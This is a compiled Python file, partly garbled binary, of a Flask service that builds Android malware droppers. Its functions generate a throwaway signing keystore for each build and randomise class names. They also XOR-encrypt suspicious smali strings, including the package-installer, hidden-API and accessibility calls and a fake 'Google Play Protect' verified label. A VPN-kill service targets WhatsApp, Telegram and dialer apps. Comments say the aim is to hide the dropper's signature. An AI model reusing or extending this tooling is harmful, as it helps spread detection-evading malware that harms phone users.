
    aj+                       S SK JrJrJrJrJrJrJrJr  S SK	r	S SK
r
S SKrS SKJr  S SKJr  S SKJrJr  S SKrS SKrS SKJrJr  S SKrS SKrS SKrS SKrS SKJr  S\l         S SK!r!S SK"r"S SK#r#S SK$r$S SK%J&r&  / S	Qr'/ S
Qr(S r)S r*S r+Sr,/ SQr-S r./ SQr// SQr0/ SQr1/ SQr2S r3/ SQr4/ SQr5/ SQr6/ SQr7/ SQr8/ SQr9/ SQr:/ SQr;/ SQr</ SQr=S  r>S! r?S" r@S# rAS$ rB\,4S% jrCS& rDS' rES( rFS) rGS* rHS+ rIS, rJ\" \K5      rL\	R                  R                  \	R                  R                  \	R                  R                  \Q5      5      S-S.5      rR\	R                  R                  \R5      (       a6  \T" \RS/5       rU\UR                  5       R                  5       \LlX        SSS5        On\!R                  " S05      \LlX        \	R                  " \	R                  R                  \R5      S1S29  \T" \RS35       rU\UR                  \LR                  5        SSS5        S4\LR                  S5'   S6\LR                  S7'   S1\LR                  S8'   S9\LR                  S:'   \" S;S<9\LR                  S='   \	R                  R                  \	R                  R                  \Q5      5      r]\	R                  R                  \]S>5      \LR                  S?'   \	R                  R                  \]S@5      \LR                  SA'   \	R                  R                  \]SB5      \LR                  SC'   \	R                  R                  \]S-5      r^\	R                  R                  \^SD5      r_\	R                  R                  \^SE5      r`\LR                  S?   \LR                  SA   \LR                  SC   \^4 H  ra\	R                  " \aS1S29  M     \	R                  R                  \]SF5      rb\	R                  R                  \]SG5      rc\	R                  R                  \	R                  R                  \	R                  R                  \Q5      5      SH5      rd\	R                  R                  \]SI5      re\	R                  R                  \]SJ5      rf0 rg\R                  " SK5      ri\&" \j5      rkSLrlSMrm\&" \j5      rnSNroSMrp\R                  " 5       rrS;SOSPSQ.SRSSSTSQ.SUSVSWSQ.SX.rs0 rtSSY jruSZ rv\R                  " 5       rwS[ rxS\ ryS] rzS^ r{S_ r|S` r}Sa r~Sb rSc rSd rSe rSf rSg rSh rSi rSj rSk\Sl\4Sm jrSn\Sl\4So jrGS Sp jrSq rSr rGSSs jr\LGR!                  St5      Su 5       r\LGR!                  Sv5      Sw 5       r\LGR!                  SxSy/Sz9S{ 5       r\LGR!                  S|5      S} 5       r\LGR!                  S~Sy/Sz9S 5       r1 SkrS r\LGR!                  S5      S 5       r\LGR!                  SS/Sz9S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  S5      S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  SS/Sz9S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  S5      S 5       r\LGR!                  SS/Sz9S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  S5      S 5       r\LGR!                  S5      S 5       r\LGR!                  S5      S 5       r\LGR!                  S5      S 5       r\LGR!                  S5      S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  S5      S 5       rS rS rS r  GSS jrGSS jr GSS jrS rS rS r\LGR!                  S5      S 5       r\LGR!                  S5      S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  S5      S 5       rGSS jrS r\LGR!                  S5      S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  S5      S 5       r\LGR!                  S5      S 5       r\LGR!                  S5      S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  SSy/Sz9S 5       rS r\LGR!                  S5      S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  S5      S 5       r\LGR!                  S5      S 5       r\LGR!                  SSy/Sz9S 5       rS r\GR                  " \S1S9r\GR                  5         S SKr\LGR!                  S5      S 5       r\LGR!                  S5      S 5       r\LGR!                  SS/Sz9S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  SSy/Sz9S 5       r\LGR!                  SS/Sz9S 5       rS SK"r\GR                  " S5      \GR                  " S5      \GR                  " S5      \GR                  " S5      /r\GR                  " S5      r0 r1 Skr\LGR                  S 5       rS r\LGR                  S 5       r\	R                  R                  \	R                  R                  \	R                  R                  \Q5      5      SS5      r\	R                  " \	R                  R                  \5      S1S29  1 SkrS SKr\GR                  " S5      r\GR                  (       de  \GR                  " \5      r\GR                  \GR                  " S5      5        \GR                  \5        \GR                  \GR                  5        \LGR                  S 5       r\LGR                  S5      S 5       r\LGR                  S5      S 5       r\KS:X  a  \LGR                  S6SSS9  gg! , (       d  f       G
N.= f! , (       d  f       G
N@= f(      )Flaskrender_templaterequestjsonify	send_filesessionredirecturl_forN)secure_filename)generate_password_hashcheck_password_hashdatetime	timedelta)Imagei $ )defaultdict)AnaBrunoCarlosDanielaEduardoFernandaGabrielHelenaIgorJulianaKevinLarissaMarceloNataliaOtavioPatriciaRafaelSabrinaThiagoVanessaWilliamXimenaYuriZelia)SilvaSantosOliveiraSouzaLimaPereiraCostaCarvalhoFerreira	RodriguesAlmeida
NascimentoGomesMartinsAraujoMeloBarbosaRibeiroRochaCardosoCorreiaMendesFreitasc                  p    [         R                  " [        5       S[         R                  " [        5       3$ )N )randomchoice_NOMES_SOBRENOMES     app.py	_gen_nomerK      s'    mmF#$AfmmK&@%ABBrI   c                    ^ [        S5       V s/ s H  n [        R                  " SS5      PM     sn m[        U4S j[        S5       5       5      S-  S-  nUS:  a  SOUnTR	                  U5        [        U4S j[        S5       5       5      S-  S-  nUS:  a  SOUnTR	                  U5        SR                  [        [        T5      5      $ s  sn f )N	   r   c              3   :   >#    U  H  nS U-
  TU   -  v   M     g7f)
   NrH   .0ins     rJ   	<genexpr>_gen_cpf.<locals>.<genexpr>$   s     /hb1f!_h   rO      c              3   :   >#    U  H  nS U-
  TU   -  v   M     g7f)rW   NrH   rP   s     rJ   rT   rU   '   s     0ib1f!_irV    )rangerD   randintsumappendjoinmapstr)_s1d1s2d2rS   s        @rJ   _gen_cpfrf   "   s    ',Qx0x!1	x0A	/eAh/	/"	4r	9BBhBBHHRL	0eBi0	02	5	:BBhBBHHRL773sA; 	1s   !Cc                  n    [         R                  " / SQ5      n S[         R                  " SS5       3nX-   $ )N)
112131415161718185919i i)rD   rE   r[   )dddnums     rJ   
_gen_phoneru   ,   s1    
--K
LCfnnXx01
2C9rI   zcom.android.system.qspaas))zdev.akamai.workerT)znet.akamai.agentT)zio.gitlab.proxyT)zcom.android.systemT)zcom.cloudflare.sdkTc            	      4   [         R                  " [        5      u  pU(       a(  SSR                  [         R                  " SSS95      -   nOGSR                  [         R                  " [
        R                  [         R                  " SS5      S95      nU  SU 3$ )	NvrY   0123456789abcdef   k   rO   .)rD   rE   _PKG_PREFIXESr^   choicesstringascii_lowercaser[   )prefixuse_vhexsuffixs      rJ   _gen_pkgr   =   sr    }}]3Frwwv~~.@AFGG(>(>&..QRTVBWXYXQvhrI   )AndroidSystem	DeveloperMobileCorePlatformApp)zAndroid Open SourcezMobile PlatformzApp DeveloperzCore SystemszPlatform DevzAndroid Dev)zMountain ViewzSan FranciscoSeattleAustinNew YorkzSan Jose)
California
WashingtonTexasr   Oregonc                     SSK n U R                  SS9n[        R                  R	                  US5      nSR	                  [
        R                  " [        R                  [
        R                  " SS5      S	95      n[        R                  " S
5      n[        [
        R                  " SS5      5      nS[
        R                  " [        5       S[
        R                  " [        5       S[
        R                  " [         5       S[
        R                  " ["        5       S3	n [$        R&                  " SSSUSSSSSUSUSUSUSUS/SSS S!9nUR(                  S:w  d$  [        R                  R+                  U5      (       d>  [-        S"UR(                   S#UR.                  SS$  35        [0        R2                  " USS%9  g[-        S&U S'U S(35        X#XA4$ ! [4         a-  n[-        S)U 35        [0        R2                  " USS%9   SnAgSnAff = f)*zfGera keystore RSA-2048 unico por build.
Retorna (ks_path, alias, password, tmp_dir) ou None se falhar.r   Napkbld_r   zrelease.jksrY      rO   rz      i(#  i.  zCN=z, OU=Android, O=z, L=z, ST=z, C=USkeytoolz-genkeypairz-aliasz-keyalgRSAz-keysize2048z	-validityz	-keystorez
-storepassz-keypassz-dnamez	-nopromptT   capture_outputtexttimeoutz[keystore] keytool falhou rc=: ,  ignore_errorsz[keystore] gerado alias=z
 validity=dz[keystore] excecao: )tempfilemkdtempospathr^   rD   r   r   r   r[   secrets	token_hexr`   rE   _KS_CN_POOL
_KS_O_POOL
_KS_L_POOL_KS_ST_POOL
subprocessrun
returncodeexistsprintstderrshutilrmtree	Exception)	_tfks_dirks_pathaliaspasswordvaliditydnameres_es	            rJ   _generate_temp_keystorer   L   s    {{){,Fww||FM2Gwwv~~f&<&<qRT@UVWE  $H6>>$./H
fmmK() *]]:&' (]]:&' (mmK() *		 
nnuz6('8(u  dB
 >>QbggnnW&=&=1#..1ACJJtPSDTCUVWMM&5(z(1EFx// $RD)*fD1s   !BG =G 
H
#HH
)
CoreActivityAppActivityBaseActivityLaunchActivityConfigActivityHostActivityManagerActivityNetworkActivityServiceActivityStartActivity)
CoreServiceNetworkServiceManagerService
AppServiceDataServiceBackgroundServiceHelperServiceUpdateServiceTaskServiceWorkerService)CoreReceiverAppReceiverBootReceiverNetworkReceiverDataReceiverEventReceiverSyncReceiverTaskReceiver)
PackageHelper	AppHelper
CoreHelperServiceHelper
SyncHelper
DataHelper
TaskHelperWorkerHelperUpdateHelperNetworkHelper)
	CoreUtilsAppUtils	DataUtilsNetUtilsSysUtils	PlatUtils	BaseUtils	HostUtils	TaskUtils	WorkUtils)
CoreClient	AppClient
DataClient	NetClient	SysClient
PlatClient
BaseClient
HostClient)
AppCodec	DataCodec	ByteCodec	CoreCodecNetCodecSysCodec	PlatCodec	BaseCodec	HostCodec	TaskCodec)
	AppEngine
DataEngine
ByteEngine
CoreEngine	NetEngine	SysEngine
PlatEngine
BaseEngine
HostEngine
TaskEngine)
AppUtilDataUtilByteUtilCoreUtilNetUtilSysUtilPlatUtilHostUtilTaskUtilWorkUtil)
stopNowhaltServicekillNowshutdownNowterminateNow
endProcessstopProcesshaltNowcloseNowabortNowc           
      &   [         R                  " [        5      n[         R                  " [        5      n[         R                  " [        5      n[         R                  " [
        5      n[         R                  " [        5      n[         R                  " [        5      n[         R                  " [        5      n[         R                  " [        5      n[         R                  " [        5      n	[         R                  " [        5      n
UUUUUUS.n[        SU 35        [        SU SU 35        [        R                  R                  U S5      n/ n[        R                   " U5       H:  u  pnU H.  nUR#                  S5      (       d  M  UR%                  UU45        M0     M<     U H  u  nnUnUR'                  5        H=  u  nnUUS-   :X  d  UR)                  US-   5      (       d  M*  UR+                  UUS5      nM?     UU:w  d  Ma   [        R,                  " [        R                  R                  UU5      [        R                  R                  UU5      5        M     [        R                   " U 5       H  u  pnU H  nUR#                  S	5      (       d  M  [        R                  R                  UU5      n [1        US
SSS9 nUR3                  5       nSSS5        WnUR'                  5        H  u  nnUR+                  UU5      nM     UU:w  a'  [1        USSS9 nUR5                  U5        SSS5        M  M     M     SU4SU4SU	44 H  u  nn[        R                  R                  UUS-   5      n[        R                  R                  UUS-   5      n[        R                  R7                  U5      (       d  Mr   [        R,                  " UU5        M     SU S3SU S3SU	 S3S.n[        R                   " U 5       H  u  nnnU H  n U R#                  S	5      (       d  M  [        R                  R                  UU 5      n! [1        U!S
SSS9 n"U"R3                  5       n#SSS5        W#n$UR'                  5        H  u  n%n&U$R+                  U%U&5      n$M     U$R+                  SU
5      n$U$U#:w  a'  [1        U!SSS9 n"U"R5                  U$5        SSS5        M  M     M     [        SU SU SU	 SU
 35        XS'   X{S'   U$ ! [.         a     GMj  f = f! , (       d  f       GNE= f! , (       d  f       GM  = f! [.         a     GM  f = f! [.         a     GM  f = f! , (       d  f       GN = f! , (       d  f       GMt  = f! [.         a     GM  f = f)z9Renomeia classes internas com nomes do pool a cada build.)MainActivityVpnKillServiceRcvJbrznRedirectWatcherDrpJsBridgeRedirWvcz[cls_rename] z[cls_rename] bridge=z wvc=smali.smali$   r+  .xml.ymlrutf-8ignoreencodingerrorsNwr5  e0f0bL;)zLe0;zLf0;zLb;killInstantlyz[cls_rename] codec=z engine=z b64=z kill=_kill_codec)rD   rE   _CLS_MAIN_POOL_CLS_SVC_POOL_CLS_RCV_POOL_CLS_REDIR_POOL_CLS_BRIDGE_POOL_CLS_WVC_POOL_CLS_CODEC_POOL_CLS_ENGINE_POOL_CLS_B64_POOL_RND_KILL_POOLr   r   r   r^   walkendswithr]   items
startswithreplacerenamer   openreadwriter   )'dropper_worknew_mainnew_svcnew_rcv	new_redir
new_bridgenew_wvc	new_codec
new_enginenew_b64new_killrenames	smali_dir	all_smalirdra   fsfnnew_fnold_clsnew_clsfpftxtnew_txt_oc_nc_op_np
_short_map_rd2_fs2_fn2_fp2_f2_t2_t2n_op2_np2s'                                          rJ   _randomize_class_namesrz     s   n-Hm,Gm,Go.I/0J}-G/I/0J}-G~.H $""$%"G 
M'
#$	 E'
;<\73I IWWY'	rB{{8$$  "b*  (
 B 'GW8++v/@/@3/O/O!< !0 R<		"'',,r2.R0HI  WW\*	rB;;9::b"%B
"cGHE&&(C F(/$GW%oogw?G )8c>b#8A( 98 "  +$ I&z(:S'NKSggll9cHn5ggll9cHn577>>#		#s# L i[*a
|14EPQRYQZZ[n]J.aD==!;<<77<<d+D$ghG3((*C H","2"2"4JD$<<d3D #5||OX>3;dC':c		$ ;:   /" 
	{(:,eG9FS[R\
]^G!HNg   FE 98    HG ;: s   AT8T8TAT8T%.T8>U
VU#AV<U.V
TT
T"T8%
T5/T85T88
UU

UU
U+&V.
U>8V>V
VVc           	      $   [         R                  " S[         R                  5      n[         R                  " S5      nSn[        R                  " [        R
                  R                  U S5      5       H  u  pEnU H  nUR                  S5      (       d  M  [        R
                  R                  XG5      n [        USSSS	9 n	U	R                  5       n
S
S
S
5        UR                  SW
5      nUR                  SU5      nX:w  aA  U[        U
5      [        U5      -
  -  n[        USSS9 n	U	R                  U5        S
S
S
5        M  M     M     [        SU S35        g
! , (       d  f       N= f! , (       d  f       GM  = f! [         a     GM  f = f)zyRemove anotacoes de debug (.line, .source, .local, .prologue).
Reduz tamanho do APK sem alterar comportamento em runtime.z^\s*(?:\.line\s+\d+|\.source\s+"[^"]*"|\.local\s+\S[^\n]*|\.end\s+local\s+\S[^\n]*|\.restart\s+local\s+\S[^\n]*|\.prologue)\s*\nz\n{3,}r   r*  r+  r1  r2  r3  r4  N
z

r7  r8  z[debug_strip] z bytes removidos de smali)recompile	MULTILINEr   rK  r   r^   rL  rQ  rR  sublenrS  r   r   )rT  _pat_blankssavedrb  ra   rc  rd  rh  ri  rj  rk  s               rJ   _strip_smali_debugr    sK    ::	 	
D jj#GEWWRWW\\,@A	rB;;x((b%B
"cGHE&&(C F((4-!++fg6>SXG44Eb#8A( 98 "  B  
N5'!:
;< FE 98 sI   5F EAF (E-:F 
E*&F -
E=7F =F  
FFc           	        ^(^) SSK m(U(4S jm)U)4S jnSn[        R                  " [        R                  R	                  U S5      5       H?  u  p4nU H*  nUS:X  d  M  [        R                  R	                  X65      n  O   U(       d  M?    O   U(       d  [        S5        g[        USS	S
9 nUR                  5       nSSS5        Wn	Sn
SnX;   a  UR                  X" SSS5      S5      nU
S-  n
SnX;   a  UR                  X" SSS5      S5      nU
S-  n
SnX;   a  UR                  USS5      nU
S-  n
/ SQnU H+  u  pX;   d  M  UR                  X" SSU5      S5      nU
S-  n
M-     SnX;   a  UR                  USS5      nU
S-  n
SnX;   a  UR                  X" SSS5      S5      nU
S-  n
SnX;   a  UR                  USS5      nU
S-  n
S nX;   a"  UR                  X" SS!S"5      S#-   S5      nU
S-  n
S$nX;   a"  UR                  X" SS!S%5      S&-   S5      nU
S-  n
S'nX;   a"  UR                  X" SS!S(5      S)-   S5      nU
S-  n
S*nX;   a"  UR                  X" SS!S+5      S,-   S5      nU
S-  n
S-nX;   a"  UR                  X" SS!S.5      S/-   S5      nU
S-  n
S0nX;   a"  UR                  X" SS!S15      S2-   S5      nU
S-  n
S3nX;   a"  UR                  X" S4S5S65      S7-   S5      nU
S-  n
S8nX;   a"  UR                  X" SS4S95      S:-   S5      nU
S-  n
S;nX;   a"  UR                  X" S<SS=5      S>-   S5      nU
S-  n
S?nX;   a"  UR                  X" SSS@5      SA-   S5      nU
S-  n
SBnX;   a"  UR                  X" SS!SC5      SD-   S5      nU
S-  n
SEnX;   a  UR                  X" S<SSF5      SG-   S5      nSHnX;   a  UR                  X" SSSI5      S5      nU
S-  n
SJnX;   a  UR                  X" S<SSK5      S5      nU
S-  n
SLnX;   a  UR                  USMS5      nU
S-  n
SNnX;   a"  UR                  X" SSSO5      SP-   S5      nU
S-  n
SQnX;   a"  UR                  X" SSSR5      SS-   S5      nU
S-  n
X:w  aT  [        USTS	S
9 nUR                  U5        SSS5        [        SUU
 SV[        R                  R                  U5       35        O[        SW5        Sn[        R                  " [        R                  R	                  U S5      5       HA  u  nnnU H+  nUSX:X  d  M  [        R                  R	                  UU5      n  O   U(       d  MA    O   U(       Ga  [        USS	S
9 nUR                  5       nSSS5        WnSnSYnUU;   a  UR                  USZS5      nUS-  nS[nUU;   a  UR                  X" SSS\5      S5      nUS-  nS]nUU;   a  UR                  X" SSS^5      S5      nUS-  nS_nUU;   a  UR                  X" SSS`5      S5      nUS-  nSanUU;   a  UR                  X" SSSb5      S5      nUS-  nScnUU;   a  UR                  USdS5      nUS-  nSenUU;   a  UR                  X" SSfSg5      S5      nUS-  nShnUU;   a  UR                  X" SSfSi5      S5      nUS-  nSjnUU;   a  UR                  X" S<SfSO5      S5      nUS-  nUU:w  a5  [        USTS	S
9 nUR                  U5        SSS5        [        SUU Sk35        O[        Sl5        Sn[        R                  " [        R                  R	                  U S5      5       HA  u  nnnU H+  nUSm:X  d  M  [        R                  R	                  UU5      n  O   U(       d  MA    O   U(       Ga\  [        USS	S
9 nUR                  5       nSSS5        WnSnSnnUU;   a  UR                  USoS5      nUS-  nSp H1  n SqU  Sr3n!U!U;   d  M  UR                  U!U" SSU 5      S5      nUS-  nM3     [        R                  " / SsQ5      n"[        R                  " / StQ5      n#[        R                  " / SuQ5      n$SvU"S   4SwU#4SxSySzU"S   4S{U$44 H4  u  n%n&S|U% Sr3n'U'U;   d  M  UR                  U'U" S}SU&5      S5      nUS-  nM6     UU:w  a5  [        USTS	S
9 nUR                  U5        SSS5        [        SUU S~35        g[        S5        gg! , (       d  f       GNA= f! , (       d  f       GN}= f! , (       d  f       GN= f! , (       d  f       GN@= f! , (       d  f       GN= f! , (       d  f       N= f)zXOR-cifra strings suspeitas em MainActivity.smali (copia de trabalho).
Usa registradores frescos (alem do .locals original) para evitar conflito
de tipo no verificador Dalvik. Chave aleatoria por build.r   Nc           	        >^^ SR                  [        R                  " [        R                  [        R
                  -   [        R                  " SS5      S95      nU R                  S5      mUR                  S5      m[        UU4S j[        [        T5      5       5       5      nTR                  U5      R                  5       TR                  T5      R                  5       4$ )NrY      r   rz   r2  c              3   R   >#    U  H  nTU   TU[        T5      -     -  v   M     g 7fNr  rQ   rR   kbpts     rJ   rT   ;_encrypt_smali_strings.<locals>._xor_enc.<locals>.<genexpr>3  &     D^BqEBq3r7{O+^   $')r^   rD   r   r   ascii_lettersdigitsr[   encodebytesrZ   r  	b64encodedecode)	plain_strkey_rawencr  r  _b64s      @@rJ   _xor_enc(_encrypt_smali_strings.<locals>._xor_enc.  s    ''&..)=)=)M+1>>!R+@B Cw'nnW%DU3r7^DD~~c"))+T^^B-?-F-F-HHHrI   c                 F   > T" U5      u  p4SU  SU SU SU SU  SU SU  3$ )N    const-string , ""
    const-string "
    invoke-static {, zZ}, Le0;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
    move-result-object rH   )rb  rkr  r  keyr  s        rJ   _blk$_encrypt_smali_strings.<locals>._blk6  sP    I&t3se ,  "t3se ,##%$b -&&(T+	
rI   r*  MainActivity.smaliz4[enc_str] MainActivity.smali nao encontrado, pulandor1  r2  r8  z*    const-string v8, "getPackageInstaller"v8v10getPackageInstallerr-  z(    const-string v7, "MODE_FULL_INSTALL"v7MODE_FULL_INSTALLz8.method public final k()Ljava/lang/String;
    .locals 3z8.method public final k()Ljava/lang/String;
    .locals 4))zY    const-string v0, "To continue, enable installation from unknown sources in settings."zBTo continue, enable installation from unknown sources in settings.)z    const-string v0, "Para continuar, ative a permiss\u00e3o de instala\u00e7\u00e3o de fontes desconhecidas nas configura\u00e7\u00f5es."u_   Para continuar, ative a permissão de instalação de fontes desconhecidas nas configurações.)zi    const-string v0, "Per continuar, abilita l\'installazione da origini sconosciute nelle impostazioni."zQPer continuar, abilita l'installazione da origini sconosciute nelle impostazioni.)zm    const-string v0, "Pour continuer, activez l\'installation de sources inconnues dans les param\u00e8tres."uQ   Pour continuer, activez l'installation de sources inconnues dans les paramètres.)zq    const-string v0, "Para continuar, habilite la instalaci\u00f3n de or\u00edgenes desconocidos en los ajustes."uR   Para continuar, habilite la instalación de orígenes desconocidos en los ajustes.)zu    const-string v0, "Um fortzufahren, aktivieren Sie die Installation aus unbekannten Quellen in den Einstellungen."z^Um fortzufahren, aktivieren Sie die Installation aus unbekannten Quellen in den Einstellungen.v0v3z'.method public final l()V
    .locals 4z'.method public final l()V
    .locals 5z$    const-string v2, "Installing..."v2v4zInstalling...z'.method public final j()V
    .locals 9z=.method public final j()V
    .locals 10

    const/4 v9, 0x0z3    const-string v2, "forName"

    const/4 v3, 0x1v9forNamez

    const/4 v3, 0x1z=    const-string v4, "getDeclaredMethod"

    const/4 v6, 0x2getDeclaredMethodz

    const/4 v6, 0x2zJ    const-string v4, "dalvik.system.VMRuntime"

    aput-object v4, v1, v5zdalvik.system.VMRuntimez

    aput-object v4, v1, v5z=    const-string v7, "getRuntime"

    aput-object v7, v2, v5
getRuntimez

    aput-object v7, v2, v5zI    const-string v7, "setHiddenApiExemptions"

    aput-object v7, v6, v5setHiddenApiExemptionsz

    aput-object v7, v6, v5z4    const-string v4, "L"

    aput-object v4, v3, v5r<  z

    aput-object v4, v3, v5zP    const-string v11, "createSession"

    new-array v12, v8, [Ljava/lang/Class;v11v12createSessionz+

    new-array v12, v8, [Ljava/lang/Class;zM    const-string v7, "openSession"

    new-array v11, v8, [Ljava/lang/Class;openSessionz+

    new-array v11, v8, [Ljava/lang/Class;z5    const-string v1, "openWrite"

    const/4 v7, 0x3v1	openWritez

    const/4 v7, 0x3z    const-string v4, "android.content.IntentSender"

    invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;zandroid.content.IntentSenderzY

    invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;zG    const-string v7, "commit"

    new-array v9, v8, [Ljava/lang/Class;commitz*

    new-array v9, v8, [Ljava/lang/Class;zF    const-string v1, "close"

    new-array v3, v2, [Ljava/lang/Class;closez*

    new-array v3, v2, [Ljava/lang/Class;z    const-string v7, "PeriCred"PeriCredz<    const-string v1, "\u2713 Google Play Protect verificado""   ✓ Google Play Protect verificadoz;.method public onCreate(Landroid/os/Bundle;)V
    .locals 3z;.method public onCreate(Landroid/os/Bundle;)V
    .locals 4z1    const-string v0, "RETRY"

    const/4 v1, 0x0RETRYz

    const/4 v1, 0x0z~    const-string v0, "Retrying..."

    invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)VzRetrying...z\

    invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)Vr7  z
[enc_str] z patch(es) aplicados em z#[enc_str] nenhuma string encontradaRcvJbrzn.smaliz@.method public final b(Landroid/content/Context;)V
    .locals 8z@.method public final b(Landroid/content/Context;)V
    .locals 9z#    const-string v0, "connectivity"connectivityz    const-string v7, "activity"activityz7    const-string v8, "android.intent.category.LAUNCHER"z android.intent.category.LAUNCHERz>    const-string v0, "android.settings.ACCESSIBILITY_SETTINGS"z'android.settings.ACCESSIBILITY_SETTINGSzZ.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
    .locals 5zZ.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
    .locals 6z2    const-string v0, "android.intent.extra.INTENT"v5zandroid.intent.extra.INTENTz6    const-string v2, "android.content.pm.extra.STATUS"zandroid.content.pm.extra.STATUSz    const-string v1, "RETRY"z patch(es) em RcvJbrzn.smaliz)[enc_str] RcvJbrzn: nenhum patch aplicadozVpnKillService.smalizH.method public onStartCommand(Landroid/content/Intent;II)I
    .locals 4zH.method public onStartCommand(Landroid/content/Intent;II)I
    .locals 5)zcom.whatsappzcom.whatsapp.w4bzcom.gbwhatsappzorg.telegram.messengerzorg.telegram.messenger.webzcom.facebook.orcazcom.google.android.dialerzcom.android.dialerzcom.samsung.android.dialerzcom.miui.voiceassistz com.google.android.apps.meetingszcom.skype.raiderz    const-string v2, ""))10.0.0.210.0.0.1)z10.8.0.2z10.8.0.1)z
172.16.0.2z
172.16.0.1)z192.168.50.2z192.168.50.1)fd00::2zfd01::2zfd0a::2zfdff::2)ConnectivityNetworkSyncRuntimeServiceUpdate
NetSessionDataChannelr  r  )0.0.0.0r  )::r  r  r   z    const-string p3, "p3z" patch(es) em VpnKillService.smaliz/[enc_str] VpnKillService: nenhum patch aplicado)base64r   rK  r   r^   r   rQ  rR  rO  rS  basenamerD   rE   )*rT  r  target_rdra   _fs_fnri  rj  originalpatched_old_lang
_old_smali_plain_rcv_target_rrd_rfs_rfn_rf_rtxt_rorig	_rpatched_vpn_target_vrd_vfs_vfn_vf_vtxt_vorig	_vpatched_old_loc_vpkg	_old_vpkg	_VPN_IPV4	_VPN_IPV6	_VPN_SESS	_vlit_old	_vlit_new	_old_vlitr  r  s*                                           @@rJ   _encrypt_smali_stringsr  (  s
    I
 Fwwrww||L'BCC**c/  6 D DE	fcG	,ffh 
- HG 8D{kk$T52G H!L15D{kk$T41D EqI1
 GD{kk$ []^_1E $
++j$tT6*BAFCqLG $ 6D{kk$ JAN11D{kk$T4 A1E1 6D{kk$ bdef1BD{kk$T4 ;>W WYZ[1LD{kk$T41D EHa acde1YD{kk$T41J KNn npqr1LD{kk$T4 >Aa acde1XD{kk$T41I JMm mopq1 DD{kk$T4 58X XZ[\1
 `D{kk$UE? CFu uwxy1\D{kk$T5- @Cr rtuv1DD{kk$T4 =@Y Y[\]1 \D{kk$T41O P  Tq  !q  st  u1VD{kk$T4 :=k kmno1UD{kk$T4 9<j jlmn,D{kk$T4 <a@1JD{kk$T41X Y[\]1 JD{kk$ ^`ab1@D{kk$T4 9<U UWXY1 ND{kk$T4 ?  Cc  !c  ef  g1
&#0AGGCL 1
7)#;BGG<L<LV<T;UVW34 KlG!DEaD'' ggll46  ; F +sW5HHJE 6	 S5=MM$(kmnoENI 55=MM$T4(H!LENI 15=MM$T5*(EqIENI I5=MM$T5:\(]_`aENI P5=MM$T5:c(dfghENI m5=MM$  )F  HI  JENI D5=MM$T49V(WYZ[ENI H5=MM$T49Z([]^_ENI .5=MM$T4(A1EENIF?k39S		%  :Jyk)EFG=> KlG!DEaD-- ggll46  ; F +sW5HHJE 6	^uMM(,wyz{ENI
E 1q9IE!idD%1H!LQ	
" MM #
 	 MM"NO	MM #
 	
 1&	""1&y!%
 Iy 11=IE!idD)1LaPQ	%
 F?k39S		%  :Jyk)KLMCDo u 
-	,z 10" 65x :9" 65d :9sH   *c5?d!d d+#d=>e5
d
d
d(+
d:=
e
ec           	        ^^^^ SSK mSSKmUR                  SS5      nUR                  SS5      nUR                  SS5      nUR                  SS5      nUR                  SS	5      nS
U S3mUU4S jmUU4S jnSn[        R                  " [        R
                  R                  U S5      5       HA  u  pnU H,  nXS-   :X  d  M  [        R
                  R                  X5      nM.     U(       d  MA    O   U(       d  [        S5        g[        USSS9 nUR                  5       nSSS5        WnSnSnUU;   a  UR                  USS5      nUS-  nSU S3nUU;   a#  UR                  UU" SSSU-   5      S5      nUS-  nSU S3nUU;   a   UR                  UU" SSU5      S5      nUS-  nSU S3nUU;   a#  UR                  UU" SS SU-   5      S5      nUS-  nSU S3nUU;   a#  UR                  UU" SS SU-   5      S5      nUS-  nSU S3nUU;   a#  UR                  UU" SS SU-   5      S5      nUS-  nX:w  a8  [        US!SS9 nUR                  U5        SSS5        [        S"U S#U S35        O[        S$5        Sn[        R                  " [        R
                  R                  U S5      5       HD  u  nn
nU H.  nUUS-   :X  d  M  [        R
                  R                  UU5      nM0     U(       d  MD    O   U(       Ga  [        USSS9 nUR                  5       nSSS5        WnSnS%nUU;   a  UR                  US&S5      nUS-  nS'nUU;   a  UR                  US(S5      nUS-  nS)U S3nUU;   a+  UR                  UU" S*SSU-   5      S5      nUS-  nUU;   a  M+  SU S3nUU;   a#  UR                  UU" SS+SU-   5      S5      nUS-  nUU:w  a8  [        US!SS9 nUR                  U5        SSS5        [        S,U S#U S35        g[        S-5        gg! , (       d  f       GN= f! , (       d  f       GN= f! , (       d  f       GN(= f! , (       d  f       Nd= f).a_  Cifra pos-rename os literais de reflexao/nome-de-componente no receiver.
Roda DEPOIS de _randomize_class_names: os nomes renomeados (.AppService,
stopProcess, .MainActivity, .RcvJbrzn) ficariam em texto puro no smali,
entregando a assinatura de reflexao do dropper. XOR-cifrados via codec
(ja renomeado) e decodificados em runtime. Nao altera o fluxo.r   Nr&  r%  r$  r?  r  r@  r  r<  r=  c           	        >^^ SR                  [        R                  " TR                  TR                  -   [        R
